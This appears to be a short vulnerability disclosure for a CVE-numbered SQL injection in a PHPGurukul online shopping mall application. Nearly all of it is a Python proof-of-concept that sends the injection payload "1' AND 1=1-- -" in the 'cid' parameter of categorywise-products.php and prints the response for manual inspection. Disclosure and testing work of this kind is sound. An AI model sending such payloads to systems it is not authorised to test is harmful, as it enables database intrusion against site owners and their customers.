CVE-2026-5635 PHPGurukul在线购物商城SQL注入漏洞

import requests def check_sqli(url): # Target endpoint target = f"{url}/categorywise-products.php" # Malicious payload for 'cid' parameter to test SQL Injection # Using a simple single quote to break the query syntax payload = "1' AND 1=1-- -" params = { "cid": payload } try: response = requests.get(target, params=params, timeout=10) if response.status_code == 200: print(f"Request sent to: {response.url}") print(f"Response Status: {response.status_code}") print("Check response content manually for database errors or data changes.") print(response.text[:500]) # Print first 500 chars for analysis else: print(f"Unexpected status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"An error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL target_domain = "http://example.com" check_sqli(target_domain)